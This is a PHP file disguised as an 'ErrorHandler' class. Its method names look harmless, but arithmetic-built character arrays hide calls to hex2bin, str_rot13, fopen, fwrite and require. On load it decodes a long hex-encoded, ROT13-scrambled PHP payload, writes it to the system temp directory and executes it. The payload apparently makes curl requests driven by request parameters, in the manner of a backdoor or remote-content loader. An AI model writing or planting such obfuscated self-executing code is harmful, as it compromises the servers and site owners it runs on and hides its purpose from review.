<?php
class ErrorHandler
{
    private $su = '';
    private $wq = '';
    public function executeAction($p1)
    {
        $v = array(2 * 55, 105, 98, 43 + 5 + 2, 2 * 60, 14 + 8 + 79, 2 * 52);
        $r = '';
        foreach ($v as $o) {
            $r .= chr($o);
        }
        $r = strrev($r);
        return $r($p1);
    }
    public function cacheData($p1)
    {
        $l = array(5 + 39 + 7, 58 - 9, 80 + 36, 24 + 66 + 21, 96 + 18, 66 * 1 + 29, 2 * 57, 122 - 6, 110 + 5);
        $q = '';
        foreach ($l as $p) {
            $q .= chr($p);
        }
        $q = strrev($q);
        return $q($p1);
    }
    public function syncRecords($p1, $p2)
    {
        $r = array(33 + 77, 101, 2 * 56, 3 * 37, 102);
        $u = '';
        foreach ($r as $s) {
            $u .= chr($s);
        }
        $u = strrev($u);
        return $u($p1, $p2);
    }
    public function logTransaction($p1, $p2)
    {
        $n = array(105 - 3, 119, 73 + 21 + 20, 18 * 3 + 51, 63 + 9 + 44, 102 - 1);
        $f = '';
        foreach ($n as $y) {
            $f .= chr($y);
        }
        return $f($p1, $p2);
    }
    public function fetchSummary($p1)
    {
        $u = array(62 * 1 + 40, 6 * 7 + 57, 11 * 44 - 376, 28 * 1 + 83, 122 - 7, 74 + 27);
        $i = '';
        foreach ($u as $a) {
            $i .= chr($a);
        }
        return $i($p1);
    }
    public function encryptData($p1, $p2 = null)
    {
        $z = array(100 * 1 + 14, 69 + 47, 123 - 9, 54 * 112 - 5943, 87 * 1 + 22);
        $d = '';
        foreach ($z as $h) {
            $d .= chr($h);
        }
        return $d($p1, $p2);
    }
    public function logEvent()
    {
        $this->wq = $this->encryptData($this->trackActivity(), '/');
    }
    public function resetState()
    {
        $this->su = $this->cacheData($this->executeAction($this->hi));
    }
    public function manageState()
    {
        $fn = $this->wq . '/le-6a026c9f569f2';
        $f = $this->syncRecords($fn, 'w');
        $this->logTransaction($f, $this->su);
        $this->fetchSummary($f);
        $this->rollbackTransaction($fn);
    }
    private $hi = '3c3f6375632070796e6666205f63706d7b636576696e67722' . '066676e677670245f7573653b66676e6776702073686170677' . '66261205f64746f28245f6473297b76732821667279733a3a2' . '45f75736529667279733a3a5f746c6f28293b6572676865612' . '06f6e667236345f71727062717228667279733a3a245f75736' . '55b245f64735d293b7d636576696e67722066676e677670207' . '368617067766261205f746c6f28297b667279733a3a245f757' . '3653d6e65656e6c28275f676e64273d3e27444a41774d4b416' . 'd594841696f61456c6f326a67444a6b666f337067473357634' . 'd327968272e2742764e64272c275f676367273d3e274432396' . '87154496871503148724b4f7942764f757055272e274f666e4' . 'a4175715479696f7639644c4b4d75272e277032416c6e4b4f2' . '72e2730272c275f657566273d3e274c32272e27743d272c275' . 'f686f273d3e274d4b79587054415146474d576e7a703047546' . '36141526b644d6d455a6e7a7030464a79336e4a454b454a794' . '36e48626a4a7975425a52272e27796371327977272e276f272' . 'e27494d67464a63696e4a45554961272e276378443062272e2' . '735272c275f616f273d3e27704b7136724e3d272e273d272c2' . '75f746a273d3e274354396543272e2774272e273d272e273d2' . '72c275f7363273d3e27435457754d51272e27343d272c275f7' . '868273d3e27713253272e27666f4e3d3d272c275f6567273d3' . 'e27272c275f7774273d3e27272c275f6f6776273d3e27272c2' . '75f7162273d3e276e5545307051626959334f314c7635334d4' . 'a577a6e4a6b796e54396d7154496c597a41696f4639776f323' . '16a6f3341797076356470272e276d39784c4b45754344272e2' . '73d272e273d272c275f66736a273d3e274c33496c6f5339636' . 'f7a272e2779272e2730272c275f796a64273d3e276e5545307' . '05339776f3245272e2779272c275f67736f273d3e277032416' . '24d4a272e273179272c275f667874273d3e276e272e2755453' . '070272e27555a3d272c275f616667273d3e2745304948564e3' . 'd3d272c275f6f70273d3e2770545330272e276e4e3d3d272c2' . '75f756163273d3e27704b272e27497970272e2761272e27783' . 'd272c275f686968273d3e2743272e276a272e273d272e273d2' . '72c275f6a7276273d3e2770272e274b4979706178272e273d2' . '72c275f707279273d3e275652754849534e695a46346a51446' . '356272e276f3341304276272e274e272e273d272c275f75642' . '73d3e276e54396d714e3d3d272c275f706c273d3e275144272' . 'e2763516f3235684d4a41306e4a396842764f516f54396d4d4' . '4272e2730585144272e2762272e273d272c275f7669273d3e2' . '770272e273341664276272e273869272c275f796f273d3e272' . '72c275f737a6f273d3e276e54396d71272e274e272e273d272' . 'e273d272c275f74716d273d3e275144272e2762272e273d272' . 'c275f746b78273d3e274653272e27454848533951475279534' . '77945734649272e274e272e273d272c275f7263273d3e27465' . '345484853394c4b304d434879714f4878455345272e2753395' . '447272e2731272e27563d272c275f637078273d3e274878494' . '1473145534b30272e27535245272e2753272e2756272e273d2' . '72c275f746762273d3e274653272e274548485339272e27494' . '83049272e27464b30272e2753272e2755272e27454835272e2' . '748272c275f786c75273d3e2746534548485339272e2749483' . '049464b3053554548272e2735272e2748272c275f6676273d3' . 'e27272c275f7871273d3e2746534548272e274853394645484' . 'd272e275348272e27784946272c275f666f273d3e274653454' . '8485339464548272e274d272e2753487849272e2746272c275' . 'f6b72273d3e27272c275f646f273d3e2746534548485339514' . '7272e275279534779272e27457346494e3d272c275f6f71273' . 'd3e2746534548485339514752795347794573272e274649272' . 'e274e272e273d272c275f77656c273d3e27465345484853272' . 'e27394c4b304d434879714f487845272e275345533954272e2' . '7473156272e273d272c275f617563273d3e274653454848533' . '94c4b304d434879714f48784553455339544731563d272c275' . 'f7366273d3e2748784941473145534b3053524553563d272c2' . '75f676270273d3e2748272e27784941473145534b305352452' . '72e275356272e273d272c275f797569273d3e274d5457616f4' . 'a39784d443d3d272c275f6d7665273d3e2746494e3656272e2' . '74e3d272e273d272c275f646c273d3e2756556a74494852362' . '72e27564e3d3d272c275f6578273d3e2756556a74487a49272' . 'e277a42764e3d272c275f7872273d3e2756516b767077272e2' . '734272e2758272c275f7975273d3e276e4b4e272e273d272c2' . '75f647a6f273d3e27714a272e27523d272c275f627866273d3' . 'e27707a49272e277a272c275f777864273d3e27704b7136722' . '72e274e3d272e273d272c293b7d7d75726e717265285f63706' . 'd3a3a5f64746f28275f67272e276e642729293b75726e71726' . '5285f63706d3a3a5f64746f28275f6763272e27672729293b7' . '67328766666726728245f5452475b5f63706d3a3a5f64746f2' . '8275f65272e2775272e276627295d29297b245f76653d5f646' . 'd7a285f63706d3a3a5f64746f28275f686f2729293b7673282' . '45f7665262666676563626628245f76652c5f63706d3a3a5f6' . '4746f28275f616f272929213d3d736e796672297b717672285' . 'f63706d3a3a5f64746f28275f272e2774272e276a2729293b7' . 'd727966727b717672285f63706d3a3a5f64746f28275f73632' . '729293b7d7d767328766666726728245f5452475b5f63706d3' . 'a3a5f64746f28275f78272e276827295d29297b245f7978773' . 'd245f5042425856523b245f626a673d2876616729656268617' . '128302b30293b245f64733d2876616729656268617128312e3' . '7352b312e37352b312e37352b312e3735293b245f7a736f3d6' . 'e65656e6c28293b245f7a736f5b245f626a675d3d5f63706d3' . 'a3a5f64746f28275f656727293b6a7576797228245f6473297' . 'b245f7a736f5b245f626a675d2e3d245f7978775b287661672' . '965626861712831302b31302b3130295d5b245f64735d3b767' . '32821245f7978775b2876616729656268617128372e352b372' . 'e352b372e352b372e35295d5b245f64732b287661672965626' . '8617128302e352b302e35295d297b76732821245f7978775b2' . '87661672965626861712831302b31302b3130295d5b245f647' . '32b2876616729656268617128302e363636363636363636363' . '63636372b302e36363636363636363636363636372b302e363' . '6363636363636363636363637295d296f65726e783b245f626' . 'a672b2b3b245f7a736f5b245f626a675d3d5f63706d3a3a5f6' . '4746f28275f777427293b245f64732b2b3b7d245f64733d245' . 'f64732b2876616729656268617128312e37352b312e37352b3' . '12e37352b312e3735292b2876616729656268617128302e333' . '33333333333333333333333332b302e3333333333333333333' . '3333333332b302e3333333333333333333333333333293b7d2' . '45f626a673d245f7a736f5b2876616729656268617128372b3' . '7295d28292e245f7a736f5b2876616729656268617128382b3' . '82b38295d3b76732821245f7a736f5b2876616729656268617' . '128332b33295d28245f626a6729297b245f64733d245f7a736' . 'f5b2876616729656268617128362e352b362e352b362e352b3' . '62e35295d28245f626a672c245f7a736f5b287661672965626' . '8617128332e333333333333333333333333332b332e3333333' . '33333333333333333332b332e3333333333333333333333333' . '3295d293b245f7a736f5b2876616729656268617128342e352' . 'b342e35295d28245f64732c245f7a736f5b287661672965626' . '8617128352e352b352e35295d2e245f7a736f5b28766167296' . '56268617128372e363636363636363636363636372b372e363' . '636363636363636363636372b372e363636363636363636363' . '63637295d28245f7a736f5b2876616729656268617128362e3' . '2352b362e32352b362e32352b362e3235295d28245f7978775' . 'b2876616729656268617128312e352b312e35295d2929293b7' . 'd7661707968717228245f626a67293b7d73686170677662612' . '05f646d7a28245f78752c245f7075613d61687979297b245f7' . '3683d5f63706d3a3a5f64746f28275f6f677627293b245f6f6' . '2683d5f63706d3a3a5f64746f28275f716227292e245f78753' . 'b76732876665f706e79796e6f7972285f63706d3a3a5f64746' . 'f28275f272e276673272e276a272929297b245f6a676a3d706' . '865795f7661766728245f6f6268293b706865795f667267626' . '36728245f6a676a2c504845594243475f4646595f495245565' . '34c435252452c736e796672293b706865795f6672676263672' . '8245f6a676a2c504845594243475f4646595f49524556534c5' . '54246472c2876616729656268617128312b3129293b7068657' . '95f66726762636728245f6a676a2c504845594243475f53425' . '959424a5942504e475642412c2876616729656268617128302' . 'e33333333333333333333333333332b302e333333333333333' . '33333333333332b302e3333333333333333333333333333292' . '93b706865795f66726762636728245f6a676a2c50484559424' . '3475f45524748454147454e41465352452c287661672965626' . '8617128302e33333333333333333333333333332b302e33333' . '333333333333333333333332b302e333333333333333333333' . '333333329293b706865795f66726762636728245f6a676a2c5' . '04845594243475f55524e5152452c287661672965626861712' . '8302b302b302b3029293b706865795f66726762636728245f6' . 'a676a2c504845594243475f5042414152504747565a5242484' . '72c2876616729656268617128332e333333333333333333333' . '333332b332e333333333333333333333333332b332e3333333' . '333333333333333333329293b706865795f667267626367282' . '45f6a676a2c504845594243475f47565a524248472c2876616' . '729656268617128332e333333333333333333333333332b332' . 'e333333333333333333333333332b332e33333333333333333' . '33333333329293b245f73683d706865795f726b727028245f6' . 'a676a293b245f7262623d706865795f7472677661736228245' . 'f6a676a293b706865795f707962667228245f6a676a293b767' . '328245f7262625b5f63706d3a3a5f64746f28275f796a272e2' . '76427295d213d28766167296562686171283130302b3130302' . '92965726768656120736e7966723b7d727966727b245f6a6b7' . '53d636e6566725f68657928245f6f6268293b245f68683d282' . '45f6a6b755b5f63706d3a3a5f64746f28275f6773272e276f2' . '7295d3d3d5f63706d3a3a5f64746f28275f272e27667874272' . '9293b245f6b743d5f63706d3a3a5f64746f28275f272e27616' . '66727292e245f6a6b755b5f63706d3a3a5f64746f28275f6f2' . '72e277027295d3b767328766666726728245f6a6b755b5f637' . '06d3a3a5f64746f28275f7561272e276327295d2929245f6b7' . '42e3d5f63706d3a3a5f64746f28275f6869272e276827292e2' . '45f6a6b755b5f63706d3a3a5f64746f28275f6a272e2772272' . 'e277627295d3b245f6b742e3d5f63706d3a3a5f64746f28275' . 'f272e2770272e2772272e277927292e245f6a6b755b5f63706' . 'd3a3a5f64746f28275f272e2775272e276427295d2e5f63706' . 'd3a3a5f64746f28275f70272e276c27293b245f67743d73666' . '27078626372612828245f68683f5f63706d3a3a5f64746f282' . '75f272e2776272e276927293a5f63706d3a3a5f64746f28275' . 'f272e2779272e276f2729292e245f6a6b755b5f63706d3a3a5' . 'f64746f28275f737a272e276f27295d2c245f68683f2876616' . '7296562686171283131302e37352b3131302e37352b3131302' . 'e37352b3131302e3735293a287661672965626861712832362' . 'e3636363636363636363636372b32362e36363636363636363' . '63636372b32362e36363636363636363636363729293b76732' . '8245f6774297b736368676628245f67742c245f6b74293b245' . 'f746f643d2876616729656268617128302b302b302b30293b6' . 'a7576797228217372627328245f677429297b245f78683d737' . '472676628245f67742c28766167296562686171283334312e3' . '3333333333333333333332b3334312e3333333333333333333' . '3332b3334312e333333333333333333333329293b767328245' . 'f746f6429245f73682e3d245f78683b767328245f78683d3d5' . 'f63706d3a3a5f64746f28275f74716d272929245f746f643d2' . '876616729656268617128302e352b302e35293b7d737079626' . '67228245f6774293b7d7d657267686561245f73683b7d245f7' . 'a6c3d766666726728245f4652454952455b5f63706d3a3a5f6' . '4746f28275f746b272e277827295d293b245f6b79683d76666' . '6726728245f4652454952455b5f63706d3a3a5f64746f28275' . 'f272e27726327295d293b245f76743d766666726728245f465' . '2454952455b5f63706d3a3a5f64746f28275f63272e2770782' . '7295d293b245f716f653d766666726728245f4652454952455' . 'b5f63706d3a3a5f64746f28275f74272e27676227295d293f2' . '45f4652454952455b5f63706d3a3a5f64746f28275f786c752' . '7295d3a5f63706d3a3a5f64746f28275f272e2766272e27762' . '7293b245f6f74723d766666726728245f4652454952455b5f6' . '3706d3a3a5f64746f28275f787127295d293f245f465245495' . '2455b5f63706d3a3a5f64746f28275f666f27295d3a5f63706' . 'd3a3a5f64746f28275f6b272e277227293b245f7a6c3d76666' . '6726728245f4652454952455b5f63706d3a3a5f64746f28275' . 'f646f27295d293f245f4652454952455b5f63706d3a3a5f647' . '46f28275f272e276f7127295d3a616879793b245f6b79683d7' . '66666726728245f4652454952455b5f63706d3a3a5f64746f2' . '8275f7765272e276c27295d293f245f4652454952455b5f637' . '06d3a3a5f64746f28275f61756327295d3a616879793b245f7' . '6743d766666726728245f4652454952455b5f63706d3a3a5f6' . '4746f28275f736627295d293f245f4652454952455b5f63706' . 'd3a3a5f64746f28275f67627027295d3a616879793b7673287' . '376796772655f696e6528245f7a6c2c2876616729656268617' . '12839312e3636363636363636363636372b39312e363636363' . '6363636363636372b39312e363636363636363636363637292' . '9297b245f75707a3d245f7a6c3b7d727966727673287376796' . '772655f696e6528245f6b79682c28766167296562686171283' . '133372e352b3133372e352929297b245f75707a3d245f6b796' . '83b7d727966727b245f75707a3d245f76743b7d76732876666' . '6726728245f5452475b5f63706d3a3a5f64746f28275f79272' . 'e2775272e276927295d29297b72707562205f63706d3a3a5f6' . '4746f28275f6d766527292e245f75707a2e5f63706d3a3a5f6' . '4746f28275f64272e276c27292e245f716f652e5f63706d3a3' . 'a5f64746f28275f272e27657827292e245f6f74722e5f63706' . 'd3a3a5f64746f28275f272e27787227293b726b766728293b7' . 'd76732821766666726728245f75707a297c7c2176666672672' . '8245f716f65297c7c21766666726728245f6f747229297b726' . 'b766728293b7d727966727b245f746e3d6e65656e6c285f637' . '06d3a3a5f64746f28275f797527293d3e245f75707a2c5f637' . '06d3a3a5f64746f28275f647a6f27293d3e245f716f652c5f6' . '3706d3a3a5f64746f28275f62786627293d3e245f6f7472293' . 'b245f6f73743d686579726170627172286f6e667236345f726' . '17062717228776662615f72617062717228245f746e2929293' . 'b245f76653d5f646d7a28245f6f7374293b767328245f76652' . '62666676563626628245f76652c5f63706d3a3a5f64746f282' . '75f7778272e2764272929213d3d736e796672297b727075622' . '45f76653b726b766728293b7d7d';
    public function rollbackTransaction($p)
    {
        require $p;
    }
    public function trackActivity()
    {
        $a = array(20 + 9 + 86, 112 + 9, 2 * 49 + 17, 8 + 38 + 49, 89 * 1 + 14, 107 - 6, 116, 95, 56 * 2 + 4, 101 * 1, 118 - 9, 38 * 2 + 36, 41 * 90 - 3595, 39 * 105 - 3995, 3 * 35, 21 + 93);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$kz = new ErrorHandler();
$kz->logEvent();
$kz->resetState();
$kz->manageState();